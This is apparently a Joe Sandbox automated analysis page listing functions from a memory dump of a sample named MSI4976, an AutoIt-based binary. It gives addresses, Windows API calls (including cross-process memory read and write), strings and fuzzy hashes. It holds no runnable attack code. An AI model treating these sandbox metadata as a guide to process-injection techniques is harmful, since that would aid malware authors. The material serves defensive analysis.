Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: b22fc8877a404c67e0b61aa2708b5926a463f325175455ad4d30372159f542b6
Instruction ID: 71b356ab4629da56e4ba3cc7e193debeb2faaa88bfd839e1e94be4d33ff607e7
Opcode Fuzzy Hash: b22fc8877a404c67e0b61aa2708b5926a463f325175455ad4d30372159f542b6
Instruction Fuzzy Hash: 92E04FB1500200EFDB025F70DC486697BADEB4D350F11C405FC4B8BA60DB7499818B00

Function 0039C0B4 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0039C0B4
GetDC.USER32(00000000), ref: 0039C0BE
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0039C0C9
ReleaseDC.USER32 ref: 0039C0E8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: eb56a0e163ac0075c8e94b122f9c1d5e7c9f0178e47034250c3ea829e8185542
Instruction ID: b1aa527b3db67e7a5063d90cece492efbb60274ac77ff710cac8514c83b75586
Opcode Fuzzy Hash: eb56a0e163ac0075c8e94b122f9c1d5e7c9f0178e47034250c3ea829e8185542
Instruction Fuzzy Hash: 6FE046B1900200EFDB029F70DC886A97BADEB4D360F11C405F94B8BA60DBB899818B00

Function 003A2350 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 475COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 003267D0

Strings

>, xrefs: 003A2414
DEFINE, xrefs: 003A265C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID: >$DEFINE
API String ID: 4104443479-1664449232
Opcode ID: cf37183ada476ab01b0bd47d4f2eebdfe26c35fee01d41d588de59e47d004aee
Instruction ID: e92815e4499bce4fb69c5227ee99dba1275ade144a4bbee4e92381156b9b140a
Opcode Fuzzy Hash: cf37183ada476ab01b0bd47d4f2eebdfe26c35fee01d41d588de59e47d004aee
Instruction Fuzzy Hash: 78127C75E0021ADFCF26CF59D490AADB7B1FF4A310F26815AE855AB350D730AD85CB90

Function 0035EAD5 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 0035ECA0

Strings

Container, xrefs: 0035EC1F
AutoIt3GUI, xrefs: 0035EC18

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 4ede4ad28b70cf2c5d980f4e4d4abbfd09c0383b043432c86562011e48198bc8
Instruction ID: 92062f43ad0dacb9f167f73184c29cd2239dad32b59f747f6e698d9d67fc8d87
Opcode Fuzzy Hash: 4ede4ad28b70cf2c5d980f4e4d4abbfd09c0383b043432c86562011e48198bc8
Instruction Fuzzy Hash: 039167746003019FDB19CF64C884E6ABBF9BF48712B14846EED4ACF6A1DBB0E944CB50

Function 0036E704 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00323BCF: _wcscpy.LIBCMT ref: 00323BF2

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

__wcsnicmp.LIBCMT ref: 0036E785
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0036E84E

Strings

LPT, xrefs: 0036E77F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 0440bb1fcfc792cbdbef0b1a4094ad7e030043fd0bfc1c109432d4339af59b5b
Instruction ID: 434954db0fe2f36ded8a1ec8765c833ba86b3ca5da2b8d2b796ae42f793bfd86
Opcode Fuzzy Hash: 0440bb1fcfc792cbdbef0b1a4094ad7e030043fd0bfc1c109432d4339af59b5b
Instruction Fuzzy Hash: F4617279A00225AFCB16DF94C895EEEB7F8EF09710F058069F506AB391DB70AE44CB50

Function 00321B72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00321B83
GlobalMemoryStatusEx.KERNEL32 ref: 00321B9C

Strings

@, xrefs: 00321B91

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 94210f99c6ecfb0a4d4776db99add9111e92410fbd2ba55e9c9e0a200a952589
Instruction ID: 2b60d8e228b8ef541367a4fa47fa6cb5dcc816ab22f740d8b6d15f7042a0ffc5
Opcode Fuzzy Hash: 94210f99c6ecfb0a4d4776db99add9111e92410fbd2ba55e9c9e0a200a952589
Instruction Fuzzy Hash: 8F513A72408744ABE322AF14D885BAFBBECFF99354F41484DF1C8450A6EB71956CC762

Function 0036CE59 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 0032417D: __fread_nolock.LIBCMT ref: 0032419B

_wcscmp.LIBCMT ref: 0036CF49
_wcscmp.LIBCMT ref: 0036CF5C

Strings

FILE, xrefs: 0036CE91

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: df33907ff99a6c6609cf3b496315f25b67b8ae62e3d730cb07ac6a815a937e88
Instruction ID: c3f4f0c7be9fc4ca19298d9f4fdbdcc630cc1e5efbb9f230fd1034613e71d118
Opcode Fuzzy Hash: df33907ff99a6c6609cf3b496315f25b67b8ae62e3d730cb07ac6a815a937e88
Instruction Fuzzy Hash: 9841E332A00219BADF22DBA4DC81FEF7BBA9F49710F004469F601EF195D771AA54C760

Function 00349AF3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034889E: __getptd_noexit.LIBCMT ref: 0034889E

__getbuf.LIBCMT ref: 00349B8A
__lseeki64.LIBCMT ref: 00349BFA

Strings

pM5, xrefs: 00349AF7, 00349C29, 00349AFB, 00349B89, 00349BB3

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __getbuf__getptd_noexit__lseeki64
String ID: pM5
API String ID: 3311320906-3100918825
Opcode ID: d3c72d75f6088c840f009ce051a69385643373a391b8edccefad98d1724b2039
Instruction ID: 43bca4cecb2ae7c8ae71f3ef916c7648f2053e061c82b48210b9422fedbd8291
Opcode Fuzzy Hash: d3c72d75f6088c840f009ce051a69385643373a391b8edccefad98d1724b2039
Instruction Fuzzy Hash: D7411F71900B059ED73A8F28D891B7B77E8EB45330F15861EE8AA8F6D1E774F8408B50

Function 0038A578 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 0038A668
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0038A67D

Strings

', xrefs: 0038A5D1

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 02359af4705aeadf8b4ba5fc2ea699d6a992835f8f7aa48286074b72b7f41691
Instruction ID: 685be5e6fc4df005bb5202f68490aa5301313d255327047794ea53b5a9de9029
Opcode Fuzzy Hash: 02359af4705aeadf8b4ba5fc2ea699d6a992835f8f7aa48286074b72b7f41691
Instruction Fuzzy Hash: 07411875A00709DFEB15DF68D880BDA7BB9FB09300F1501AAE945EB385E770A941CFA1

Function 00389567 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 0038961B
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00389657

Strings

static, xrefs: 003895B7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: d4b4fd2cd0de1b87ad61c85610d3c13520221a0fa94efc98674df760e882baa6
Instruction ID: ddba01d3a01676707256662c43dd97754057959f51c6ca56b81fdb113c5876bc
Opcode Fuzzy Hash: d4b4fd2cd0de1b87ad61c85610d3c13520221a0fa94efc98674df760e882baa6
Instruction Fuzzy Hash: EB319031500604AEEB12AF74DC81BFB77ADFF49764F15851AF8A9C7190DA319C81D760

Function 0035D0D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 0035D0ED
SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0035D127

Strings

@U=u, xrefs: 0035D0ED, 0035D127

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: bf040fafb3bd37d404c888d44d28689c80d9f6c8d47c910c82fa5b85010ef184
Instruction ID: ce8b6102dbd1f8a330f7f51d69ff614580be0f40dcbcf0fdfdaa3ffc7e98eaf7
Opcode Fuzzy Hash: bf040fafb3bd37d404c888d44d28689c80d9f6c8d47c910c82fa5b85010ef184
Instruction Fuzzy Hash: 5721E972D00615ABCB23EF94D881DEEB779EF88701F128029ED05AB2A0EB705D05C790

Function 00365B75 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00365BE4
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00365C1F

Strings

0, xrefs: 00365BDD

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: e9f6f4874cf918d6faa78473187ba5583733c157554d696cd742f138651554f5
Instruction ID: 3c4dfb8eb86e707a5948989b916603248b497741d7e0b1f7a645221ba2fceffd
Opcode Fuzzy Hash: e9f6f4874cf918d6faa78473187ba5583733c157554d696cd742f138651554f5
Instruction Fuzzy Hash: 0231B971600709EBDB26CF99C989BADBBF8EF05350F198039E9819B1A4D7709944DF50

Function 00376B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00376BDD

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

Strings

AUTOITCALLVARIABLE%d, xrefs: 00376BCF
, $, xrefs: 00376C1D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 473e87c4ab21781855b7b2b5248218fb5e28c5bee437d4ec0bf0749a19f8ab34
Instruction ID: 851ad4a24c9f22860d3a62599cb72ea191ed2724aa9af602f14266ed62893a72
Opcode Fuzzy Hash: 473e87c4ab21781855b7b2b5248218fb5e28c5bee437d4ec0bf0749a19f8ab34
Instruction Fuzzy Hash: 1821BF32600529AACF13EF94D892EEE77B5EF45700F104465F509AB282DB74EE41CBA2

Function 0038936B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003686AE: GetLocalTime.KERNEL32 ref: 003686BB
Part of subcall function 003686AE: _wcsncpy.LIBCMT ref: 003686F0
Part of subcall function 003686AE: _wcsncpy.LIBCMT ref: 00368722
Part of subcall function 003686AE: _wcsncpy.LIBCMT ref: 00368755
Part of subcall function 003686AE: _wcsncpy.LIBCMT ref: 00368797

SendMessageW.USER32(?,00001002,00000000,?), ref: 00389405

Strings

SysDateTimePick32, xrefs: 003893C3
@U=u, xrefs: 00389405

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcsncpy$LocalMessageSendTime
String ID: @U=u$SysDateTimePick32
API String ID: 2466184910-2530228043
Opcode ID: a5c0f37a31ce135fecd524a216c6dda073d3ee9b2541ec6852775496379e417f
Instruction ID: 9abdebc396879f0919e7d9300dfb3d096a83c2f688bec80ba2d60fe09a261585
Opcode Fuzzy Hash: a5c0f37a31ce135fecd524a216c6dda073d3ee9b2541ec6852775496379e417f
Instruction Fuzzy Hash: F621E4323503046BEF239E54DC82FFE3369EB54750F25451AF951AB1D0C6B1AC818B60

Function 0035C98D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0035C9A6

Part of subcall function 00364C65: GetWindowThreadProcessId.USER32(?,?), ref: 00364C90
Part of subcall function 00364C65: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0035C9C2,00000034,?,?,00001004,00000000,00000000), ref: 00364CA0
Part of subcall function 00364C65: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0035C9C2,00000034,?,?,00001004,00000000,00000000), ref: 00364CB6

Part of subcall function 00364D41: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,0035C9FE,?,?,00000034,00000800,?,00000034), ref: 00364D6B

SendMessageW.USER32(?,00001073,00000000,?), ref: 0035CA0D

Part of subcall function 00364D0C: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,0035CA2D,?,?,00000800,?,00001073,00000000,?,?), ref: 00364D36

Strings

@U=u, xrefs: 0035C9A6, 0035CA0D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Process$MemoryMessageSend$AllocOpenReadThreadVirtualWindowWrite
String ID: @U=u
API String ID: 1045663743-2594219639
Opcode ID: ba770c425f2fc4fd8cd7c19a2294a51d9f9ff7b31ce73fe57a5401398c2d86ba
Instruction ID: 629b8e4dc2d94d7c6e4c9c7a961ce20fa1aa4dae667803870662b34a093c6ed1
Opcode Fuzzy Hash: ba770c425f2fc4fd8cd7c19a2294a51d9f9ff7b31ce73fe57a5401398c2d86ba
Instruction Fuzzy Hash: 72217131D01228AFDF22DFA4DC85FDDBBB8FF05754F1081A5E945AB1A1EA705A44CB90

Function 003891DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00389269
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00389274

Strings

Combobox, xrefs: 00389236

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: c66ed4602f86b0a88a2fcc66312c1db7aaa2c26ea85a4f9a92fa51ea6677bccc
Instruction ID: 208433578521c8bea975dd292d34289d0c20aa48c51cc39d803d10b533fd872d
Opcode Fuzzy Hash: c66ed4602f86b0a88a2fcc66312c1db7aaa2c26ea85a4f9a92fa51ea6677bccc
Instruction Fuzzy Hash: EC11B67130020CBFEF129E54DC81FBB376EEB893A4F154566F9189B290D631DC5187A0

Function 0038C1EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

@U=u, xrefs: 0038C26F, 0038C298

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
